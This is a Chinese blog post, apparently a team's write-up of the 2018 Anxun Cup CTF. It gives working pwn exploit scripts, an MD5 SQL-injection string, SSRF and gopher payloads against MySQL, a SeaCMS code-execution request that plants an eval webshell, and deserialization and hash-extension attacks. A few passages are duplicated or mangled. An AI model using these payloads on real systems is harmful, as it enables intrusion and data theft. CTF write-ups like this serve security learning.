第一届安洵杯writeup

原创

LongHitler 于 2018-11-27 17:53:23 发布 1983 收藏 3
分类专栏： ctf 文章标签： 安洵杯 writeup ctf

本文链接：https://blog.csdn.net/LongHitler/article/details/84570749

第一届安洵杯writeup

线上赛混个第三名，跟着大佬们，躺进下线赛了。

MISC

这里是签到题

应高数高分大佬要求，签到题为下图：
https://i.loli.net/2018/11/23/5bf7fef997715.jpg
md5小写
例子:D0g3{21232f297a57a5a743894a0e4a801fc3}
格式
D0g3{md5(幺元)}
https://zhidao.baidu.com/question/1114204049719347299.html

从最右边一列找一个元素，它所在行与表头的首行完全一致，即为左幺元，图中是c。
从最上边一行找一个元素，它所在列与表头的首列完全一致，即为右幺元，图中是c。
所以c是幺元。
Md5©= 4a8a08f09d37b73795649038408b5f33
D0g3{4a8a08f09d37b73795649038408b5f33}

booooooom

第一个压缩包，提示CRC爆破结果是纯数字，直接爆破
里面三个文件，看了一下大概是要先解压password然后运行.py计算flag.zip的解压密码。
然后crc32碰撞，直接爆破password.txt的内容

```
for i in xrange(0,100000000):
 buf = str(i).rjust(8,'0')
#print buf
   if zlib.crc32(buf) & 0xffffffff == 0x0cd95dac:
 print '',buf
```

然后再用.py跑

```
import hashlib
#f = open("password.txt",'r')
#password = f.readline()
password='08646247'
b64_str = base64.b64encode(password.encode('utf-8'))
hash = hashlib.md5()
hash.update(b64_str)
zip_passowrd = hash.hexdigest()
print(zip_passowrd)
```

再去解压flag.zip,解压出来一张图片
改高度，先直接winhex改了过后图片直接崩了，然后绕了一会，结果就是该高度，winhex不对应该是crc的原因。用tweakPNG改

修改高度为500

可以看到flag了导出图片 提取文字完事。

D0g3{a184929e2c170e2b7dc12eb3106f0a16}

pwn

Hiahiahia

入门pwn，栈溢出到arg[0]
check一下，有NX和canary

Gdb调试下

找到flag和arg[0]的地址算一下偏移

```
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
old_flag_addr = 0x4007a8
new_flag_addr = 0x6007a8
p = remote('149.248.7.48', 8888)
p.recvuntil("Please find the flag!")
#gdb.attach(p)
#payload = "a"*0x218 + p64(new_flag_addr)
payload = 'a'* 360 + p64(old_flag_addr)
p.sendline(payload)
flag = p.recv()
print flag
```

flag:D0g3{ccc_y0u_again_hiahiahia_}

neko

栈溢出，有system地址，leak libc。。。。
去libcdb查版本 然后基本操作栈溢出

```
#!/usr/bin/python
from pwn import *
EXE = "./neko"
e = ELF(EXE)
libc = e.libc
io = remote('149.248.7.48',9999)
system = e.plt["system"]
puts = e.plt["puts"]
puts_got = e.got["puts"]
io.sendlineafter("cats?\n",'y')
payload = "a" * 0xd4
payload += p32(puts)
payload += p32(0x080486E7)
payload += p32(puts_got)
io.sendafter("anchovies:\n",payload)
io.recvline()
base = u32(io.recv(4)) - 0x05f140
binsh = base + 0x15902b
payload = "a" * 0xd4
payload += p32(system)
payload += p32(binsh) * 2
io.sendafter("anchovies:\n",payload)
io.interactive()
```

flag: D0g3{Wh0_Doe5n’t_1ik3_k1tt3ns??}

web

web1-无限手套

提示输入NOHO
测出来要求在7399999999到7400000000
http://222.18.158.227:10580/?NOHO[]=d 数组绕过

输密码

发现是MD5加密后16进制转字符
md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3

想到了md5加密后再16进制转字符串后有单引号引起sql注入。以前做过md5 sql注入。
http://222.18.158.227:10580/?NOHO[]=123
POST：password=ffifdyop
ffifdyop md5()加密-》276f722736c95d99e921722cf9ed621c -》再16进制转字符串为'or'6?]??!r,??b

得到flag:
e5e8b79aeb213ad6e0e4664e78aff61b
D0g3{e5e8b79aeb213ad6e0e4664e78aff61b}

web2

Find The d0g3.php In Intranets
http://222.18.158.227:10180/
点了几个图后输入name提交后为
http://222.18.158.227:10180/?url=111
有url，提示

The Intranets are in range 10.10.1.0/16
那么d0g3.php就应该在内网
那就从10.10.1.1开始找
http://222.18.158.227:10180/?url=http://10.10.1.1/d0g3.php
http://222.18.158.227:10180/?url=http://10.10.1.3/d0g3.php 返回404
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php
找到了，在http://10.10.1.6/d0g3.php有200回显了

提示GET d0g3参数。
尝试了http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=phpinfo();
发现是个官方shell
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `ls`;
打印当前目录，发现flag.txt
直接读
http://222.18.158.227:10180/?url=http://10.10.1.6/d0g3.php?d0g3=echo `cat flag.txt`;
D0g3{SSRF_Is_So_Easy}

only d0g3er can see flag

http://138.68.2.14/seacms/
查找poc getshell
https://www.freebuf.com/vuls/150042.html
http://138.68.2.14/seacms/search.php
post:

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&&9[]=phpinfo();
```

那就写shell吧

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=file_put_contents('a.php','<?php%20@eval($_POST[c])?>');
```

提示.git泄露，用工具读出源码吧
\data\ common.inc.php有配置信息

菜刀直接连接数据库读取flag

RDBnM3tUaGlzX2lzX3JlYWxfZmxhZ30=
Base64解码：D0g3{This_is_real_flag}
我要吐槽一下，出题人是想考什么？改了两次题。
第一次题目的时候还有360防护…要我绕360吗？
昨天晚上还是138.68.2.14/。上传shell后，数据库中没有flag数据库，D0g3数据库中也没有flag信息。/www/wwwroot/的shell目录中有.user.ini文件限制，我在绕open_basedir。但是也只能用glob伪协议读目录。但是flag数据库目录在/www/server/data/flag还有在 /www/backup/database/下有备份文件flag。也没研究过怎么在没有系统命令下还要绕open_basedir读文件。

BOOM

御剑扫目录
后台登录地址：http://222.18.158.227:10080/admin/login.html
题目是boom就直接爆破吧，看题目描述应该是绕过这个验证码，刷新数字变大，估计是时间戳生成。

但是测了一下可以直接空等于空绕过，然后直接intruder爆破
爆了很久的弱口令 结果是纯数字 很坑。

登录拿flag

D0g3{70e052657cb40cf142883abaff266fee}

webN

首页一个SRC界面，没什么用

点礼品中心http://222.18.158.245:6080/reward.php点击购买

发现用户可控jsonp

看提示some攻击，翻文章
https://paper.tuisec.win/detail/05c9c8b3e28bd2b
https://www.freebuf.com/articles/web/169873.html
点礼品中心http://222.18.158.245:6080/reward.php点击购买
然后还提示联系客服，思路大概就是构造exp放vps上，发客服让机器人访问，子页面通过可控jsonp对父页面操作

```
<iframe src="http://222.18.158.245:6080/reward.php" name=b></iframe>
      <iframe name=a></iframe>
      <script>
      window.frames[0].open('http://222.18.158.245:6080/confirm.php','a');
      setTimeout(
        function(){
          window.frames[1].location.href = 'http://222.18.158.245:6080/confirm.php?callback=window.opener.pay';
        }
      ,1000);
</script>
```

查日志发现flag

D0g3{Same_Orig1n_Method_ExCute_1s_eAsy}

Diglett

http://54.200.169.99:7001

查看源码： 提示 index.php?hu3debug=1
http://54.200.169.99:7001/index.php?hu3debug=1
得到php源码

```php
<?php
  include_once "config.php";
  if (isset($_POST['url'])&&!empty($_POST['url']))
  {
      $url = $_POST['url'];
      if(preg_match('/file/',$url))
      {
          echo "No hacker!";
          echo "</br>";
      }
      $url2 = preg_replace('/file/','',$url);
      $content_url = getUrlContent($url2);
  }
  else
  {
      $content_url = "";
  }
  if(isset($_GET['hu3debug']))
  {
      show_source(__FILE__);
  }
?>
```

利用curl读取文件。尝试url传入：file:///127.0.0.1/etc/passwd
if(preg_match('/file/',$url)){echo “No hacker!”;echo “”;}
虽然比较url是否有file关键字，但只是输出信息，没有结束。

$$url2= preg\_eplace(\ /file/ \ , \ , \mathrm{url});$$

```php
<?php
$hosts = "localhost";
$dbusername = "test_user";
$dbpasswd = "";
$dbname = "test";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
 $dbinit = "create table if not exists flag(secret varchar(100));";
 if(mysqli_query($conn,$dbinit)) return 1;
 else return 0;
}
function safe($url)
{
 $tmpurl = parse_url($url, PHP_URL_HOST);
 if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
 {
  var_dump($tmpurl);
  die("<h1><p id='test1'>You are not the local!</p></h1>");
 }
 return $url;
}
function getUrlContent($url){
 $url = safe($url);
 $url = escapeshellarg($url);
 $pl = "curl ".$url;
 echo $pl;
 $content = shell_exec($pl);
 return $content;
}
initdb($conn);
?>
```

知道了mysql的配置内容 gopher一波
利用Gopherus工具生成exploit
https://github.com/tarunkant/Gopherus

gopher://127.0.0.1:3306/_%a8%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%65%73%74%5f%75%73%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%74%65%73%74%2e%66%6c%61%67%01%00%00%00%01

D0g3{G0ph1er_4nd_55rf_1s_1nt3rest1ng!}

Magic Mirror

不要被表象欺骗，钥匙就藏在数据包中

http://222.18.158.227:10280/

关键点在host Host Header欺骗

点忘记密码，burp抓包，把host改为自己的vps，然后看日志

会发重置密码的token，有效时间有点短，所以迅速复制进去改密码，然后登admin

登录后有个输入框

随便提交抓包

```
<information><username>test</username></information>
```

Xml格式 应该就xxe了

Payload

会发重置密码的token，有效时间有点短，所以迅速复制进去改密码，然后登admin

登录后有个输入框

随便提交抓包

```
<information><username>test</username></information>
```

Xml格式 应该就xxe了

Payload

外部实体注入 Filter协议读文件 记得base64读

拿到flag.php

PD9waHAKaGVhZGVyKCJDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7CmVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0nNScgY29sb3I9J3JlZCc+IjsKZWNobyAiWW91IHdhbm5hIGNhcHR1cmUgdGhpcyBmbGFnPyI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiT2ggeWVzLCBoZXJlISI7CmVjaG8gIjxicj48YnI+IjsKZWNobyAiQnV0IG5vdywgIjsKZWNobyAiPGJyPjxicj4iOwplY2hvICJHZXQgb3V0ISI7CmVjaG8gIjwvZm9udD48L2NlbnRlcj4iOwovL2ZsYWc6IEQwZzN7SGlfRDBnM19SZXMzdF80bmRfeFhlfQoK

Cj8+Cg==

解码

```
<?php
header("Content-Type: text/html;charset=utf-8");
echo "<center><font size='5' color='red'>";
echo "You wanna capture this flag?";
echo "<br><br>";
echo "Oh yes, here!";
echo "<br><br>";
echo "But now, ";
echo "<br><br>";
echo "Get out!";
echo "</font></center>";
//flag: D0g3{Hi_D0g3_Res3t_4nd_xXe}
```

方舟计划

http://222.18.158.227:10380/index.php
又是买彩票。和之前的qctf一样。也是php弱类型的锅。
POST传入{“action”:“buy”,“numbers”:[true,true,true,true,true,true,true]}
每次都能中$5000000，多买几次就能买flag了。
Here is your flag: 想上飞船不仅仅是有钱就够了，你还得有智慧，解出这道题，你就可以获救了：一次RSA密钥对生成中，假设p=473398606，q=451141，e=17 求解出d

python 已知p,q,e求rsa的d
https://blog.csdn.net/zyxyzz/article/details/78205321

```
# coding = utf-8
def computeD(fn, e):
    (x, y, r) = extendedGCD(fn, e)
    #y maybe < 0, so convert it
    if y < 0:
        return fn + y
    return y
def extendedGCD(a, b):
    #a*xi + b*yi = ri
    if b == 0:
        return (1, 0, a)
    #a*x1 + b*y1 = a
    x1 = 1
    y1 = 0
    #a*x2 + b*y2 = b
    x2 = 0
    y2 = 1
    while b != 0:
        q = a / b
        #ri = r(i-2) % r(i-1)
        r = a % b
        a = b
        b = r
        #xi = x(i-2) - q*x(i-1)
        x = x1 - q*x2
        x1 = x2
        x2 = x
        #yi = y(i-2) - q*y(i-1)
        y = y1 - q*y2
        y1 = y2
        y2 = y
    return(x1, y1, a)
p = 473398606
q = 451141
e = 17
n = p * q
fn = (p - 1) * (q - 1)
d = computeD(fn, e)
print d
```

求得150754621171553
D0g3{150754621171553}

Double-S

签道题

http://54.200.169.99:7000/

源码泄露http://54.200.169.99:7000/www.zip代码审计

```
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
    public $info;
    function __construct()
    {
        $this->info = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->info);
    }
}
if(isset($_GET['aa']))
{
    if(unserialize($_GET['aa'])=='phpinfo')
    {
     $m = new Anti();
    }
}
else
{
    header("location:index.html");
}
?>
```

```
http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:10:"phpinfo();";}
```

通过phpinfo页面，我们知道php.ini中默认session.serialize_handler为php_serialize，而index.php中将其设置为php。这就导致了seesion的反序列化问题。

由phpinfo()页面继续可知，session.upload_progress.enabled为On。

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，当PHP检测到这种POST请求时，它会在

$ESSION$中添加一组数据。所以可以通过$SessionUploadProgress$来设置$session$。传入_SESSION数据的，考虑序列化

```
<?php
class Anti
{
    public $info='print_r(scandir(dirname(__FILE__)));';
}
$obj = new Anti();
$a = serialize($obj);
var_dump($a);
?>
//O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}
```

http://54.200.169.99:7000/session.php?aa=O:4:“Anti”:1:{s:4:“info”;s:36:“print_r(scandir(dirname(**FILE**)));”;}
发现flag文件http://54.200.169.99:7000/f1ag_i3_h3re
D0g3{Sim_Pl3_S3sSi0n}

Hash!!!

修改响应头
Source改为1拿到源码

要么cbc要么hash扩展 用hashpump

```
Input Signature: c3ef608fdc59d9143c39664ade7556d5
Input Data: D0g3
Input Key Length: 20
Input Data to Add: test
5e38fe415ce2786f4ae79776038f53ee
D0g3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\
x00\x00\x00\x00\x00\x00\x00test
```

将\x改为%，将POST的username改为D0g3，password改为

```
D0g3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%c0%00%00%00%00%00%00%00test
```

cookie加入getflag: 5e38fe415ce2786f4ae79776038f53ee
拿到flag：D0g3{h4sh_1s_s0_diffic1ut_t0_me}